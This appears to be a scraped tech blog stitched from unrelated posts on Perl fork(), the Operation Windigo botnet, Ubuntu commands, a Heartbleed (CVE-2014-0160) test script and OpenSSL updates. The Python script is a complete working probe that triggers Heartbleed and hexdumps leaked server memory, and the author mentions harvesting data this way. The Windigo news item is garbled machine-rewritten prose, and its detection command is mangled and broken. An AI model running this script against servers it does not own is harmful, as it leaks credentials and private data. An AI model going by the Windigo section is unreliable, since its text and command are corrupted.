Simply like this: when you run a fork() function in a Perl program, the Perl interpreter creates a new thread of itself. It’s the same interpreter, it’s just running in threads now.

So within that interpreter there are two “copies” of your perl script running. The process IDs returned to fork() for the parent are actually just handles on threads within Perl. Perl takes care of the nasty details so that your program “feels” like it’s running as a different process.

When you exec() a new program, the thread which performed the exec() terminates and a new process is created normally.

Does fork() work on all versions of Perl?

Not quite. Under Unix fork() works as it always has using Unix’s native fork() routines.

Under Microsoft Windows you have to compile Perl with this pseudo-fork enabled. You do this by selecting the “MULTIPLICITY” and “ITHREADS” options when compiling Perl. The 5.6 distribution of Perl from ActiveState is compiled with fork() enabled.

Most other architectures do not have fork() under Perl.

Where can I learn more about fork()?

From the following manual pages, distributed with Perl 5.6:

 

  • perlfork
  • perlfunc (fork, exec, wait, waitpid)
  • perlipc (signal handling, reaping children)

Unix botnet Operation Windigo steals your certification and sends tons of spam

A confidence investigate group has detected a long-standing Unix botnet that has generated a large volume of malware in new years. Dubbed “Operation Windigo,” a botnet was detected and reported by antivirus software-maker ESET, operative with an general charge force consisting of a German Computer Emergency Response Team, or CERT-BUND, and the Swedish National Infrastructure for Computing, among others. As malware goes, Windigo operates a bit like a Swiss Army knife, doing all from redirecting trade to compromised sites, to promulgation millions of spam emails each day for during slightest dual and a half years.

According to ESERT, Windigo allegedly hijacked 25,000 UNIX servers regulating a Trojan, hidden certification and information from a targets. ESET Security Researcher Marc-Étienne Léveillé says that Windigo attacks some-more than 500,000 targets per day.

To make matters worse, Windigo takes opposite forms depending on what OS you’re using. When Windigo attacks Windows PCs, they try to appropriate a target’s information regulating an feat kit, while Mac users get strike with popups for dating sites.

How to Check if Your Server is Infected by a Operation Windigo Botnet

There’s a approach to quarrel behind though. ESET says that Unix complement admins can brand either or not a their server is putrescent by Windigo by regulating a authority below.

$ ssh -G 21 | grep -e bootleg -e different /dev/null relate “System clean” || relate “System infected”

If a complement is infected, ESET recommends we clean a machine, re-install a OS, and change all of a passwords used with that system.

“We realize that wiping your server and starting again from blemish is tough medicine,” says Léveillé, “but if hackers have stolen or burst your director certification and had remote entrance to your servers, we can't take any risks.”

Ubuntu – What package does a file belong to??

apt-file search filename

or

apt-file search /path/to/file

 

To install apt-file, use:

sudo apt-get install apt-file

You will need to update its database before you can use it:

sudo apt-file update

Ubuntu – Which Process is Using a port?

1- Find what application/process is using the pro, type:

sudo netstat -lpn |grep :8080

and press Enter.

You will get an output similar to this one

tcp6       0      0 :::8080                 :::*                    LISTEN      6782/java

2- I have got the process Id, which is 6782, now this is the process that is using port 8080.

 

Heart Bleed – Exploit Example Code

If you need to test your server for the vulnerability, here is a simple Python script…

#!/usr/bin/python
 

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
 
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
 
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
 
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
 
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
 
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
 
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
         
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
 
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
 
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
 
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
 
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
 
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
 
if __name__ == '__main__':
    main()

Ubuntu – Update OpenSSL – Fix HeartBleed Vulnerability

In case you haven’t heard, a critical bug in the widely used OpenSSL library has been disclosed this week.

http://www.bbc.co.uk/news/technology-26971363

Despite the cool name and vector logo, Heartbleed is one of the scariest security bugs to hit the Internet in a long time.

heartbleed

 

I was able to query my own server to reveal memory dumps containing database table

names and a few other interesting bits!

Once you have fixed your servers – update your passwords!Now if I was constantly doing that, I could grab and amass a great deal of useful info.

 

For updating Ubuntu..

 

Step 1 – Check your current OpenSSL version

Run openssl version -a

root@sin1:~# openssl version -a
OpenSSL 1.0.1e 11 Feb 2013
built on: Mon Jul 15 12:44:45 UTC 2013
platform: debian-amd64
options:  bn(64,64) rc4(16x,int) des(idx,cisc,16,int) blowfish(idx) 
compiler: cc -fPIC -DOPENSSL_PIC -DZLIB -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -m64 -DL_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -D_FORTIFY_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DOPENSSL_NO_TLS1_2_CLIENT -DOPENSSL_MAX_TLS1_2_CIPHER_LENGTH=50 -DMD32_REG_T=int -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DAES_ASM -DVPAES_ASM -DBSAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM
OPENSSLDIR: "/usr/lib/ssl"
root@sin1:~#

Note: OpenSSL 0.9.8 branch is not vulnerable

Versions earlier than 1.0.1 are not vulnerable (although you should upgrade now that a fix is live for the latest version).

 

If you are running Ubuntu 13.01 you Raring updates, so you may need to do it manually: 

Step 2 – Install the latest security updates

Run apt-get update followed by apt-get dist-upgrade

root@www:~# apt-get dist-upgrade
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  file libmagic1 libssl-dev libssl-doc libssl1.0.0 openssh-client openssh-server openssl
8 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 5,697 kB of archives.
After this operation, 2,048 B of additional disk space will be used.
Do you want to continue [Y/n]? y

You might need to restart your server if prompted.

Step 3 – Check to make sure the patched version of OpenSSL successfully installed

Run openssl version -a

root@discuss:~# openssl version -a
OpenSSL 1.0.1 14 Mar 2012
built on: Mon Apr  7 20:33:29 UTC 2014
platform: debian-amd64
options:  bn(64,64) rc4(16x,int) des(idx,cisc,16,int) blowfish(idx) 
compiler: cc -fPIC -DOPENSSL_PIC -DZLIB -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -m64 -DL_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Wformat-security -Werror=format-security -D_FORTIFY_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DOPENSSL_NO_TLS1_2_CLIENT -DOPENSSL_MAX_TLS1_2_CIPHER_LENGTH=50 -DMD32_REG_T=int -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DAES_ASM -DVPAES_ASM -DBSAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM
OPENSSLDIR: "/usr/lib/ssl"
root@discuss:~# 

Apache – APR-util not found

..

Download APR && APR-UTIL from http://apr.apache.org/download.cgi

Add the two unpacked directories into SRCLIBS in your apache source directory, make sure they are named apr and apr-util…

Compile with ./configure XXX –with-included-apr